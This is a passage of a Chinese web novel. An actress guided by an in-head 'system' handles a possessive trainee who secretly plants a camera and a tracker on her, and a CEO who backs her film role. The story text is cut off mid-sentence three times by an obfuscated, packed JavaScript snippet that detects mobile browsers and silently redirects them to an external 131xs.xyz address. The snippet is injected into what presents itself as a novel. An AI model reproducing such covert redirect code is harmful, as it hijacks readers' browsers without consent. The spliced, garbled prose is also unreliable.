刚才周向晨在客厅时,她无意间从镜子的反光里看到,他趁自己去洗手间的间隙,悄悄在化妆镜背面贴了个东西,体积比之前的定位器小很多,不仔细看根本发现不了。 尚知遥拿来一把小镊子,小心翼翼地将那个微型摄像头取下来,对着灯光看了看。 镜头很小,还带着夜视功能,显然是专门用来监控的型号。 她把摄像头放在手心,指尖轻轻摩挲着,眼底闪过笑意:“这点小手段翻来覆去的用,真是没劲。” 她没有扔掉摄像头,而是重新贴回化妆镜背面,只是调整了角度,让镜头只能拍到化妆台的一角,拍不到她的身影。 做完这一切,她听到脑海里传来系统的声音, 【报告宿主,周向晨对你的占有欲风险标注“高,但可控”,好感度+2(当前52%)。其行为虽带有控制倾向,但未造成实质性伤害,建议继续观察,利用其“保护欲”进一步拉近距离。】 尚知遥走到窗边,看着楼下周向晨的车缓缓驶离。她 拿出手机,给许淮发了条消息:“许老师,关于第五十二场的镜头,我想再和您确认一下细节,您明天有空吗?” 没过多久,许淮回复:“明天上午十点,剧组编剧工作室见,提前把你的想法整理好。” 后面还附带了一个“OK”的表情包,这是他难得的活泼时刻,显然是对尚知遥的认真态度很满意。 尚知遥收起手机,又给霍景宴发了条消息:“霍总,明天下午有个媒体采访,颖姐说需要您这边确认一下采访提纲,我把文件发您邮箱了。” 霍景宴的回复很快:“收到,我看完给你反馈。另外,明天晚上有个商业晚宴,带你一起去,礼服会让助理送到你酒店。” 尚知遥看着两条回复,嘴角勾起一抹胸有成竹的笑。 第二天一早,尚知遥刚到片场,就看到周向晨已经在房车门口等候。 他穿着一身运动装,手里拿着一个暖手宝,脸上带着阳光的笑容:“知遥姐,早啊!这个暖手宝你拿着,早上拍戏冷,别冻着手。” 尚知遥接过暖手宝,触感温热,上面还印着可爱的卡通图案,显然是特意挑选的。 “谢谢你向晨,你太细心了。”她笑着说道,心里却在想,他昨晚应该已经发现导航的端倪了,今天这么殷勤,是想进一步确认她的行踪吗? 果然,周向晨状似无意地提起:“知遥姐,你昨天回酒店的路线好像和平时不一样,是不是导航出问题了?” 尚知遥故作惊讶:“是吗?我没注意,可能是导航更新了默认路线吧。不过多走两条街也没什么,还能看看沿途的风景。” 她说话时,眼神坦然,没有丝毫破绽。 周向晨点点头,没再追问,却在心里暗暗记下,看来导航没问题,是她真的没注意路线,那以后只要盯着定位器,就能掌握她的行踪。 上午十点,尚知遥如约来到许淮的编剧工作室。 许淮已经在里面等候,桌上摊着《知己》的剧本,还有一本翻开的《电影镜头语言》,书签夹在“特写镜头运用”那一页。 “坐吧,”许淮抬头看向尚知遥,指了指对面的椅子,“关于‘珍珠脱落’的镜头,你有什么想法?” 尚知遥坐下,拿出自己整理的笔记:“许老师,我觉得可以在珍珠脱落的瞬间,加一个‘慢镜头’,从珍珠的视角往下落,同时给林薇的指尖一个特写……她的手指悬在半空中,微微颤抖,却没有去接,这样更能体现她的绝望和‘放弃挣扎’的心态。” 许淮拿起笔,在剧本上快速记录着,眼神里带着明显的认可:“这个想法很好,慢镜头能增强情感冲击力。另外……” 两人围绕这个细节展开讨论,从镜头速度到音效选择,再到演员的情绪把控,一一仔细打磨。 许淮时不时会抬眼看向墙上的挂钟,严格遵守着“每小时休息十分钟”的规则,却在讨论到兴头上时,不自觉地把休息时间推迟了五分钟。 讨论结束时,已经是中午十二点。许淮合上剧本,说道:“中午一起吃个饭吧,剧组食堂的糖醋鱼不错,你可以试试。” 尚知遥愣了一下,许淮平时很少和人一起吃饭,大多时候都是独自在工作室吃外卖。她笑着答应:“好啊,谢谢许老师。” 去食堂的路上,许淮突然提起:“听说周向晨最近总跟着你?” 尚知遥心里一警,面上却不动声色:“是啊,他说担心我遇到私生,特意过来保护我。” 许淮点点头,没有再多问,只是在路过道具组时,特意停下来叮嘱道具师:“把尚知遥的戏服多准备两套备用,她的戏份重要,别出岔子。” 他说话时,眼神扫过不远处的周向晨,带着一丝不易察觉的警示。 尚知遥心里明白,许淮虽然话少,但对剧组的人和事都看在眼里,他这是在暗中提醒她注意周向晨。 她对许淮道了谢,心里对这个清冷的编剧多了几分好感。 中午吃饭时,周向晨果然端着餐盘走过来,坐在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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车上,霍景宴递给尚知遥一份晚宴嘉宾名单:“上面有几个重要的投资人,我已经帮你标注好了,一会儿介绍你认识。其中李总正在筹备一部女性题材的电影,很适合你,你可以多和他聊聊。” 尚知遥接过名单,上面用红笔标注着嘉宾的背景和喜好,比如“李总:喜欢聊剧本创作,讨厌浮夸的应酬话”“王总:关注艺人的公益形象,可提最近的乡村支教活动”。 “谢谢霍总,您想得太周到了。”尚知遥由衷地说道。 霍景宴笑了笑,没有多说,只是在车子驶进晚宴场地时,低声提醒:“一会儿别紧张,有我在。” 晚宴现场布置得很奢华,水晶灯闪烁着璀璨的光芒,嘉宾们穿着精致的礼服,端着酒杯互相交谈着。 霍景宴带着尚知遥,一一向重要的投资人介绍:“这位是尚知遥,我们公司的艺人,最近许淮那部《知己》各位有听说吧?知遥在里面表现很出色。” 李总果然对尚知遥很感兴趣,主动聊起剧本创作:“尚小姐,我最近在筹备一部新电影,讲的是三个女性在都市打拼的故事,里面有个角色很适合你,不知道你有没有兴趣?” 尚知遥心中有些受宠若惊,但还是笑着回应:“谢谢李总看重,我很喜欢这个题材,要是有机会,希望能和您深入聊聊角色。” 两人聊得很投机,霍景宴站在旁边,偶尔补充几句,眼神里带着一丝不易察觉的欣赏。 不远处的周向晨,却通过手机上的监控画面,看着尚知遥和霍景宴、李总谈笑风生,手指紧紧攥着手机,指节泛白。 他通过微型摄像头看到了尚知遥准备晚宴的样子,又通过定位器查到了她的行踪,特意赶过来,却只能远远看着她和别的男人亲近。 周向晨深吸一口气,调整了一下表情,端着酒杯走过去,脸上挂着阳光的笑容:“知遥姐,霍总,李总,你们也在啊?真巧。” 他说着,目光落在尚知遥身上,带着一丝委屈:“知遥姐,你晚上出来怎么不告诉我,我还以为你今天不忙,想约你吃个饭呢。” 尚知遥心里冷笑,面上却露出歉意:“抱歉啊向晨,我也是临时接到通知,没来得及告诉你。” 霍景宴看了周向晨一眼,眼神里带着一丝审视,却没有多说什么,只是对李总笑道:“李总,我们继续聊剧本吧,知遥对您的项目很感兴趣。” 周向晨站在旁边,插不上话,只能看着尚知遥和李总、霍景宴聊得热火朝天,心里的嫉妒和控制欲越来越强烈。 他悄悄拿出手机,给尚知遥发了条消息:“知遥姐,我在酒店门口等你,晚会结束后我送你回去。” 尚知遥看到消息,嘴角勾起一抹笑,没有回复,而是继续和李总讨论剧本。 她知道,周向晨的“不甘心”,正是她攻略他的最好机会。 10. 第 10 章 晚宴结束后,尚知遥婉拒了周向晨的“护送”,坐上了霍景宴的车。车上,霍景宴突然提起:“总跟着你的那个男孩……是叫周什么晨?他对你好像有点不对劲。” 尚知遥愣了一下,没想到霍景宴会看出来,心中警铃大作。 她微笑着说道:“他只是把我当姐姐,比较比较依赖人而已。毕竟刚进圈没多久,遇到事总想着找熟悉的人求助。” 霍景宴目视前方,指尖在方向盘上轻轻敲击着,骨节分明的手指随着车内舒缓的轻音乐节奏轻点,指甲修剪得干净整齐,透着一股精致的克制。 过了片刻,他侧过头看了尚知遥一眼,目光从她的连衣裙扫到她手里紧紧攥着的黑色文件夹,眼神里闪过一丝不易察觉的考量,没再继续纠结周向晨的话题,转而提起正事:“明天上午十点,在丰秋总部有个《知己》剧组的会议,别迟到。” “我记下来了,明天一定提前出发。”尚知遥连忙点头,指尖在文件夹边缘轻轻划了一下。 她知道,霍景宴虽然语气平淡,但“别迟到”三个字带着不容置疑的意味。 丰秋传媒作为《知己》的出品方,对剧组纪律的要求一向严格,之前就有个新人演员因为迟到十分钟,直接被换掉了戏份。 车子驶到酒店门口,路灯的光线透过车窗洒进来,在霍景宴脸上投下淡淡的光影。 他没再多说,只是从副驾驶储物格里拿出那个黑色文件夹,递到尚知遥面前:“里面是《知己》最近的拍摄进度表,还有各角色的戏份占比统计,你回去看看,有问题明天会议上可以提。” 尚知遥接过文件夹,指尖不小心碰到他的手,能清晰感受到他掌心的温度,还有一丝若有若无的咖啡香。 她轻声道谢,推开车门走下车,晚风带着一丝凉意吹在脸上,让她清醒了不少。 看着霍景宴的车缓缓消失在夜色里,车尾的红灯渐渐模糊,她才转身走进酒店。 回到房间,尚知遥先去洗漱,换上舒适的家居服,然后坐在书桌前打开那个黑色文件夹。 里面的文件整理得十分整齐,第一页是《知己》的整体拍摄进度表,用不同颜色的荧光笔标注着“已完成”“进行中”“待拍摄”的状态,其中“林薇”的戏份部分用红色荧光笔做了重点标记。 往后翻,是各角色的戏份占比统计表格,林薇的戏份占比排在第三位,仅次于男女主。 最让她意外的是,表格后面还附着霍景宴用红笔写的批注,比如“淋雨戏,注意保暖”“林薇与男主对手戏,注意分寸”。 尚知遥拿着笔,心里暗暗感叹霍景宴的细致。她原本以为,像他这样身居高位的CEO,只会关注投资和收益,没想到会对一个女配的戏份如此上心。 她把文件重新整理好,放进文件夹里,然后打开手机,给助理宋小棠发了条消息:“小棠,明天早上七点来接我,我们提前出发去丰秋传媒,避开早高峰。” 宋小棠很快回复:“好的遥姐,我定好闹钟了,明天早上我在你房门口等你。” 第二天一早,尚知遥被闹钟叫醒时,天刚蒙蒙亮。 她洗漱完毕,换了一身简约的米白色西装套裙,化了个淡雅的妆容,然后拿着黑色文件夹和包,打开房门就看到宋小棠提着早餐站在门口,手里还拿着一把伞: “遥姐,天气预报说今天可能会下雨,我给你带了伞。早餐是你喜欢的豆浆和三明治,还热着呢。” “辛苦你了小棠。”尚知遥接过早餐,心里暖暖的。 宋小棠虽然刚大学毕业,有些木讷,但做事一直很细心,总能提前想到她需要的东西。 两人吃完早餐,七点半准时出发。 原本以为提前三个小时足够避开早高峰,可没想到刚上高架就遇上了交通事故,前面的车排起了长长的队伍,一眼望不到头。 宋小棠看着导航上的红色拥堵路段,急得额头直冒汗:“遥姐,这可怎么办啊?还有一个小时会议就要开始了,咱们肯定要迟到了!” 尚知遥也有些着急,她拿出手机,想给霍景宴的特助发消息说明情况,却发现手机信号不太好,消息发不出去。 她深吸一口气,强迫自己冷静下来:“别慌,咱们看看有没有其他路线可以绕过去。” 宋小棠立刻调整导航,尝试了好几条备选路线,可每条路线都显示拥堵。 就这样,车子在半路堵了将近四十分钟,等她们赶到丰秋传媒大楼时,离会议开始只剩五分钟。 尚知遥拎着包,踩着高跟鞋快步冲向电梯,宋小棠拿着伞和文件夹跟在后面,气喘吁吁地说:“遥姐,你慢点,小心崴到脚。” 刚到电梯口,就看到电梯门缓缓关上,里面站着的人正是霍景宴。 他穿着一身深灰色高定西装,身姿挺拔地站在电梯中央,领口处系着一条深蓝色条纹领带,衬得他肤色愈发白皙。 他的指尖夹着一份厚厚的文件,封面用金色字体印着“《知己》投资报表”的字样,文件边缘被他捏得有些微微发皱,显然是刚从办公室拿过来的。 或许是听到了外面急促的脚步声,霍景宴的目光透过电梯门的缝隙扫了过来,刚好落在尚知遥身上。 当看到她身上那件米白色西装套裙,还有她因为着急而微微泛红的脸颊时,他的目光停顿了两秒,眼神里闪过一丝不易察觉的波澜。 像是在惊讶她的准时,又像是在考量她的状态。 随即,电梯门彻底关上,“叮”的一声轻响,将两人隔绝在门的两侧。 尚知遥心里咯噔一下,双手紧紧攥着包带,指节泛白。 她担心迟到会影响霍景宴对自己的印象,毕竟昨天他特意叮嘱过“别迟到”。 她只好按下旁边的电梯按钮,焦急地等待着下一部电梯,目光时不时看向墙上的时钟,看着分针一点点向“10”靠近。 好在下一部电梯很快就到了,尚知遥和宋小棠冲进电梯,按下“18”楼的按钮。 电梯里只有她们两个人,宋小棠还在喘着气:“遥姐,还好赶上了,应该还能在会议开始前到。” 尚知遥点点头,却没说话,心里还在想着刚才电梯里霍景宴的眼神。 她拿出手机,终于有了信号,给霍景宴的特助发了条消息:“抱歉,路上遇到堵车,可能会晚几分钟到会议室。” 特助很快回复:“霍总已经知道了,让你别着急,安全第一。” 看到这条消息,尚知遥心里稍微安定了一些。 电梯“叮”的一声到达18楼,她和宋小棠快步走出电梯,沿着走廊向会议室走去。 远远就听到会议室里传来制片人的声音,两人加快脚步,推开会议室的门走了进去。 会议已经开始了,会议室里坐满了人,制片、导演、编剧许淮,还有程跃等主要演员都在。 制片人正拿着一份修改后的剧本大纲,站在投影幕布前,对着众人说道:“我觉得林薇这个女配的戏份有点冗余,比如第18场和第23场戏,都是讲她和男主的对手戏,内容有些重复,不如削减一部分,把这部分戏份加给程跃饰演的小白花角色秦素,这样能让她的形象更丰满,也能增加剧情的可看性。” 程跃坐在旁边的椅子上,双手交叉放在胸前,脸上露出得意的笑容,眼神挑衅地看了尚知遥一眼,嘴角还带着一丝不易察觉的嘲讽——显然,她早就知道制片人的这个提议,甚至可能参与了其中。 尚知遥刚想开口反驳,说这两场戏对塑造林薇的性格很重要,不能随便削减,就看到坐在主位的霍景宴突然放下手中的投资报表,指尖在光滑的会议桌面上轻轻敲了敲,发出“笃笃”的轻响。 这声音不大,却带着十足的气场,瞬间让嘈杂的会议室安静下来,所有人的目光都集中到了他身上。 “我不同意。”霍景宴的声音平淡却不容置疑,他拿起桌上的剧本,随意翻了翻,“林薇这个角色是整部剧的暗线支撑,她的戏份不能砍。不仅不能砍,根据许淮和几位导演的意见,可能还会加。” 他顿了顿,目光扫过在场的所有人,最后落在许淮身上:“另外,我决定追加200万投资,专门用于林薇的服装道具。” 这句话一出,会议室里一片哗然。 制片人张了张嘴,似乎想反驳,说追加投资需要经过董事会批准,却被霍景宴的眼神制止了。 那眼神里带着一丝冷意,显然是不允许任何人质疑他的决定。 “符合角色定位的服化,才能保证剧的质感。”霍景宴补充道,语气依旧平淡,却带着不容置喙的权威,“林薇这个角色的性格复杂,外表冷漠,内心却很脆弱,她的服装道具需要体现出这种‘外冷内热’的特质。之前的服装太普通,没能突出她的角色特点,这次追加的投资,就用来定制符合她气质的服装。” 尚知遥站在门口,心里又惊又喜。 她没想到霍景宴会在会议上公然为自己争取戏份,还特意追加投资用于服装道具。 这不仅是对她的支持,更是对她饰演的角色的认可。 她悄悄看向坐在不远处的许淮,发现许淮也在看着她,眼 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16543529|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 神里带着一丝赞赏——显然,霍景宴的提议也符合他对林薇这个角色的设定。 会议继续进行,接下来讨论的是后续的拍摄计划和宣传方案。 尚知遥认真地听着,偶尔在笔记本上记录下重点,心里却一直在思考霍景宴刚才的话。 她知道,霍景宴之所以这么做,或许有一部分原因是觉得她有潜力,能为《知己》这部剧带来更好的效果,但更多的,可能还是因为她能替代安柠,带给他鲜活的温暖。 不过她并不排斥,既然霍景宴喜欢她带来的感觉,而他也的确能给她提供想要的资源和帮助,各取所需的事情,她没理由不做。 会议结束后,众人陆续离开。 制片人走到霍景宴身边,低声说了些什么,似乎在解释刚才的提议只是“随口一说”,霍景宴只是淡淡地点了点头,没再多说。 尚知遥正想走上前向霍景宴道谢,就看到他的特助走了过来,手里拿着一个印着奢侈品logo的米色纸袋,袋子上还系着一条精致的黑色丝带。 “尚小姐,霍总让我把这个交给您。”特助说道,将纸袋递到尚知遥面前。 尚知遥接过纸袋,感觉沉甸甸的,入手还有一丝凉意。 特助解释道:“里面是三套高定礼服,都是霍总特意让人从巴黎定制的,和您饰演的林薇的气质很匹配,专门用于拍摄。这三套礼服分别对应林薇不同的人生阶段,第一套是刚出场时的‘冷漠期’,采用深灰色面料,剪裁利落;第二套是‘内心动摇期’,用了淡紫色的丝绸,增加柔和感;第三套是‘彻底爆发期’,选了红色的丝绒材质,象征着她压抑已久的情绪释放。” 特助顿了顿,又从口袋里拿出一张纸条,递到尚知遥手里:“霍总还说,后续会有专业的造型团队对接您,负责您拍摄期间的服装造型和妆容设计。这是造型团队负责人的联系方式,您有任何需求都可以直接跟她沟通。” 尚知遥接过纸条,上面的字迹苍劲有力,一笔一划都透着认真,显然是霍景宴的亲笔。 纸条上写着“造型团队负责人:张姐,电话:139XXXXXXX,备注:优先满足林薇角色造型需求”。 她心里一暖,提着纸袋,对特助道了谢,然后走向霍景宴的办公室。 听到开门声,霍景宴抬起头,随手拿起桌上的咖啡喝了一口。 那是一杯手冲咖啡,浅棕色的液体在白色的骨瓷杯里泛着淡淡的光泽,散发着浓郁的香气。 他的目光落在尚知遥身上,眼神里带着一丝不易察觉的认可:“来了?坐吧。” 尚知遥在他对面的椅子上坐下,将米色纸袋放在旁边的桌子上,轻声说道:“霍总,谢谢您为我争取戏份,还特意定制了礼服。” 霍景宴放下咖啡杯,指尖在桌面上轻轻摩挲着,目光从她的脸上扫到那个米色纸袋,语气平淡地说道:“不用谢。你的演技很不错,别浪费了天赋。” 不知为何,提到演技霍景宴忽然轻笑了一声,顿了顿有补充道:“好好拍,这部《知己》对你来说是个不错的机会,能不能扭转口碑,就看这次了。” 尚知遥点点头,心里明白霍景宴的意思。 她之前因为霸凌新人的黑料,口碑一直不好,这部《知己》是她唯一的机会,如果能把林薇这个角色演好,说不定就能彻底摆脱“全网黑”的标签,在娱乐圈站稳脚跟。 她站起身,再次道谢:“我会好好拍的,不辜负您的期望。” 离开办公室,系统的声音恰到好处地响起。 【检测到霍景宴对宿主好感度+4(当前59%)。宿主成功获得霍景宴的认可,后续可利用其资源支持,提升自身在剧组的地位,当前阶段以稳定好感度为主。】 刚走到电梯口,就看到周向晨提着一个印着“甜星”甜品店logo的保温桶走了过来。 他穿着一身干净的练习生制服,白色的T恤搭配黑色的运动裤,头发用发胶打理得整齐有型,脸上带着阳光的笑容,像个邻家大男孩:“知遥姐,你开完会啦?我特意给你带了早餐,是你喜欢的南瓜粥和水晶虾饺,还热着呢,你快尝尝。” 尚知遥看着他手里的保温桶,心里有些无奈。 周向晨的“示好”总是这么及时,却也让她感到一丝压力。 她知道,周向晨对自己的占有欲很强,要是让他知道霍景宴为自己做了这么多,说不定又会做出什么极端的事情。 她笑着接过保温桶,指尖轻轻敲击着桶壁,慢悠悠地问:“谢谢你向晨,你怎么知道我在这里开会?” 11. 第 11 章 周向晨挠了挠头,眼神有些闪躲,右手不自觉地攥紧了保温桶的提手,指节微微泛白。那是他紧张时的本能反应。 “我……我听剧组的人说的,”他声音轻了些,目光落在尚知遥手里的米色纸袋上,眼神里闪过一丝探究,“知遥姐,这是霍总给你的吗?看起来好精致啊,里面装的是什么?” 尚知遥心里了然,周向晨果然注意到了这个纸袋。 她故意轻描淡写地晃了晃纸袋:“没什么,就是霍总为拍摄准备的服装道具,都是些普通的戏服而已。” 她不想让周向晨知道里面是高定礼服,免得刺激到他的占有欲,引发不必要的麻烦。 可周向晨显然没那么容易相信,他往前凑了凑,鼻尖似乎动了动,像是在闻纸袋上的味道,又像是在寻找什么痕迹。 “普通戏服需要用这么好的袋子装吗?”他语气里带着一丝不易察觉的执着,“知遥姐,你是不是有什么事瞒着我?我昨天晚上给你发消息,你到很晚才回复,是不是和霍总在一起?” 这话问得有些直白,带着一丝质问的意味。 尚知遥放缓语气,脸上露出无奈的笑容:“昨天晚上我一直在看《知己》的拍摄进度表,看到很晚才看到你的消息,抱歉啊让你担心了。霍总只是关心拍摄进度,给我送了些文件而已,没别的事。” 为了转移话题,她打开保温桶,拿出里面的南瓜粥,用勺子舀了一口:“哇,好甜啊,向晨你熬粥的手艺越来越好了。” 她故意夸张地称赞着,眼神里带着笑意,试图用美食缓解尴尬的氛围。 周向晨看到她吃得开心,脸上的紧绷感果然放松了些,眼神也柔和了下来:“你喜欢就好,我早上五点就起来熬了,怕你开会迟到没早饭吃。” 他说着,从口袋里拿出一个小小的保温盒,里面装着切好的水果,“这是我洗好的草莓,你吃粥的时候配着吃,解腻。” 尚知遥接过水果盒,心里有些复杂。 周向晨的示好总是这么细致,细致到让她有些难以拒绝,可这份细致背后,藏着的却是令人不安的控制欲。 她一边吃着粥和水果,一边和周向晨聊着天,有意无意地提到“剧组最近拍摄任务重,大家都要互相配合”,暗示他要以工作为重,别想太多。 两人正聊着,电梯“叮”的一声到了。 尚知遥连忙说道:“电梯到了,我们快回剧组吧,下午还有我的戏份呢。” 她率先走进电梯,周向晨紧随其后,目光却还是时不时落在那个米色纸袋上,眼神里的探究从未消失。 回到剧组时,已经是中午。 宋小棠看到尚知遥和周向晨一起回来,连忙迎上来,手里拿着一个保温杯:“遥姐,你终于回来了,许老师刚才还在找你,说可能要加戏。这是许老师让我给你留的热可可,他说你开会肯定没喝多少水。” 尚知遥接过热可可,指尖传来温热的触感,心里暖暖的。许淮虽然性格清冷,却总是在这些细节上默默关心着别人。 她抬头看向不远处的编剧工作室,许淮正坐在窗边,对着电脑敲打着什么,桌上摊着几摞装订好的剧本。 “我要去找许老师,向晨你先去休息吧,谢谢你的早餐。” 尚知遥对周向晨说道,不等他回应,就提着米色纸袋和热可可走向编剧工作室。 她能感觉到,身后周向晨的目光一直追随着她,带着一丝不舍和不甘,却还是转身离开了。 他知道,在许淮面前,他不能表现得太过逾矩。 推开编剧工作室的门,许淮抬起头,目光从电脑屏幕上移开,落在尚知遥身上:“来了?坐吧,我刚整理好需要加戏的部分,你看看有没有需要调整的地方。”他说着,将一叠打印好的纸推到尚知遥面前。 讨论到一半,许淮突然提起:“霍总追加投资用于你的服装道具,这件事你知道了吧?” 尚知遥点点头:“知道了,霍总还特意为我定制了几套戏服,说是为了更贴合角色气质。” 许淮眼神里闪过一丝复杂的情绪,像是在思考什么,又像是在提醒她:“霍总对你很重视,你要好好把握这个机会。不过……”他顿了顿,语气变得有些严肃,“霍总这个人,心思很深,你和他相处时,要多留个心眼,别太轻易相信别人。” 尚知遥心里一暖,许淮虽然话少,却总是在关键时刻提醒她。 她知道,许淮是担心她被霍景宴的钱和资源迷惑,弄丢了自己的本心。 她轻声说道:“谢谢许老师提醒,我会注意的。” 中午十二点讨论结束,许淮合上剧本,说道:“中午一起去剧组食堂吃吧,今天食堂做了糖醋排骨,味道还不错。” 尚知遥笑着答应:“好啊,正好我也饿了。” 去食堂的路上,许淮突然指着不远处的道具组:“你看,霍总定制的服装道具已经送过来了,正在卸货呢。” 尚知遥顺着他指的方向看去,果然看到几个工作人员正在从车上搬东西,其中一个大箱子上印着和她手里纸袋一样的奢侈品logo。 她心里暗暗感叹,霍景宴做事效率真高,早上刚在会议上提出追加投资,中午道具就送过来了。 走到食堂门口,就看到程跃和几个剧组工作人员坐在一张桌子旁,正聊得热火朝天。 程跃看到尚知遥和许淮一起过来,脸上的笑容瞬间淡了下去,眼神里带着一丝敌意。 尚知遥没理会程跃尖锐的眼神,和许淮找了个空位坐下。 刚点完餐,就看到周向晨端着餐盘走过来,径直坐在尚知遥旁边,还特意把自己餐盘里的糖醋排骨夹给她:“知遥姐,你喜欢吃的排骨,我特意给你多打了几块。” 他这个举动,无疑是在向所有人宣告他和尚知遥十分亲近。 周围的工作人员都投来好奇的目光,程跃更是冷笑了一声,语气里带着嘲讽:“周向晨,你一个练习生,不好好练习,整天围着女艺人转,像什么样子?” 周向晨的脸色瞬间沉了下来,刚想反驳,就被尚知遥拉住了。 她对着程跃笑了笑,语气平淡却带着十足的气场:“程老师,向晨只是关心同事,没什么不妥的。倒是你,早上会议上提议削减女配戏份,现在又在这里说三道四,是不是有点太闲了?” 这话怼得程跃脸色一阵青一阵白,她张了张嘴,却找不到反驳的话,只能狠狠地瞪了尚知遥一眼,转身离开了食堂。 周围的工作人员见状,也不敢再议论,纷纷低下头吃饭。 周向晨看着尚知遥,眼神里带着崇拜:“知遥姐,你刚才太厉害了,一下子就把他怼回去了!” 尚知遥笑了笑,没多说什么,只是夹了一块排骨放进他碗里:“快吃吧,一会儿还要拍戏呢。” 她知道,刚才那番话不仅是为了帮周向晨解围,更是为了树立自己的气场。 在娱乐圈,一味地退让只会被人欺负,只有强硬起来,才能站稳脚跟。 下午的拍摄很顺利,尚知遥和许淮讨论好的那些分镜,拍摄时一次就过了。 导演看着监视器,兴奋地说道:“太好了!刚才这一条真是把林薇的思念和痛苦演活了!许老师,你这个分镜设计得也太妙了!” 许淮站在旁边,脸上露出难得的笑容,眼神里带着一丝欣慰。 周向晨则站在不远处,看着尚知遥被众人夸赞,脸上带着笑容,眼底却闪过一丝复杂的情绪。 他既为尚知遥的成功感到开心,又对她和许淮的默契感到嫉妒。 拍摄结束后,尚知遥正准备回酒店,就看到霍景宴的特助走了过来,手里拿着一个平板电脑:“尚小姐,霍总让我把这个交给您,里面是造型团队为您设计的服装造型方案,您看看有没有需要调整的地方,明天造型团队会过来和您对接。” 尚知遥接过平板电脑,打开里面的文件夹,里面是三套高定礼服的设计图,还有对应的妆容和发型设计。 每套设计都精准地贴合了林薇的角色气质,甚至连配饰的细节都标注得清清楚楚。 她心里暗暗感叹,霍景宴做事真是太细致了,细致到让她有些意外。 特助又补充道:“霍总还说,明天晚上有个小型的投资方晚宴,希望您能一起参加,顺便认识一些影视圈的前辈,对您以后的发展有好处。” 尚知遥点点头:“好的,我知道了,谢谢霍总。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16548821|186566||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ” 看着特助离开的背影,尚知遥心里有些犹豫。 她知道,参加投资方晚宴能为她带来更多的资源,对她的事业发展有好处,可她也担心,周向晨知道后会再次爆发占有欲,引发不必要的麻烦。 果然,没等她多想,周向晨就走了过来,眼神里带着一丝不安:“知遥姐,刚才特助找你说了什么?是不是霍总又给你安排了什么事?明天晚上你要去参加晚宴吗?” 尚知遥深吸一口气,决定还是如实告诉他:“嗯,明天晚上有个投资方晚宴,霍总让我一起去,说是认识一些前辈,对以后的发展有好处。” 她故意强调“对事业发展有好处”,希望能让周向晨理解,这只是工作。 可周向晨显然无法理解,他的脸色瞬间变得苍白,眼神里带着一丝恐慌:“知遥姐,你能不能别去?那种晚宴上鱼龙混杂,万一有人对你图谋不轨怎么办?我不放心你一个人去。” 他说着,伸手想去拉尚知遥的手,却被她巧妙地避开了。 尚知遥看着他紧张的样子,心里有些无奈:“向晨,这只是工作,霍总会陪我一起去,不会有危险的。而且,参加这种晚宴对我的事业很重要,我不能不去。” “那我陪你一起去!”周向晨立刻说道,语气里带着一丝急切,“我可以装作你的助理,陪在你身边,保护你!” 尚知遥摇了摇头:“不行,这种晚宴都是邀请制的,没有邀请函进不去。而且,你明天还有练习任务,不能耽误了自己的事情。” 她知道,周向晨只是想跟着她,掌控她的行踪,她不能让他得逞。 周向晨的眼神瞬间黯淡了下去,像是一只被抛弃的小狗,让人有些心疼。 他低下头,声音里带着一丝委屈:“那你一定要注意安全,有任何事都要第一时间给我打电话,不许瞒着我。” “好,我答应你。”尚知遥点点头,心里松了口气。还好周向晨没有再坚持,不然她还真不知道该怎么应对。 次日一早,造型团队就来到了酒店,为尚知遥试穿高定礼服,设计妆容和发型。 当尚知遥穿上那套红色丝绒礼服,化上精致的妆容时,连造型师都忍不住赞叹:“尚小姐,您穿这套礼服也太好看了,简直就像是为您量身定制的一样!” 尚知遥看着镜子里的自己,红色丝绒礼服衬得她肤色愈发白皙,妆容精致却不张扬,眼神里带着一丝清冷的气质。 确实有几分安柠的影子。她对着镜子里的自己笑了笑,心里暗暗想:“霍景宴,希望你能喜欢这份‘惊喜’。” 中午时分,周向晨提着午餐来到酒店,看到尚知遥穿着红色丝绒礼服的样子,眼睛瞬间亮了起来,眼神里带着一丝惊艳:“知遥姐,你穿这套礼服也太好看了吧!简直像仙女一样!” 他说着,从口袋里拿出一个小小的首饰盒,里面是一条银色的项链,吊坠是一个小小的星星图案,“这是我给你买的项链,我觉得很配你今天的礼服,你戴上看看。” 尚知遥接过项链,心里有些无奈。 周向晨总是在这种时候送她礼物,让她有些难以拒绝。 她让造型师帮忙戴上项链,对着镜子看了看,确实很配这套礼服。 “谢谢你向晨,项链很好看。”她笑着说道,语气里带着一丝真诚的感谢。 周向晨看到她喜欢,脸上露出开心的笑容,眼神里却带着一丝不舍:“知遥姐,晚上的晚宴一定要注意安全,记得给我发消息。” “好,我会的。”尚知遥点点头,目送周向晨离开。 傍晚时分,霍景宴的车准时来到酒店门口。 当霍景宴看到尚知遥穿着红色丝绒礼服的样子时,眼神里闪过一丝惊艳,还有一丝不易察觉的复杂情绪。 显然,尚知遥的这身造型,让他想起了安柠。 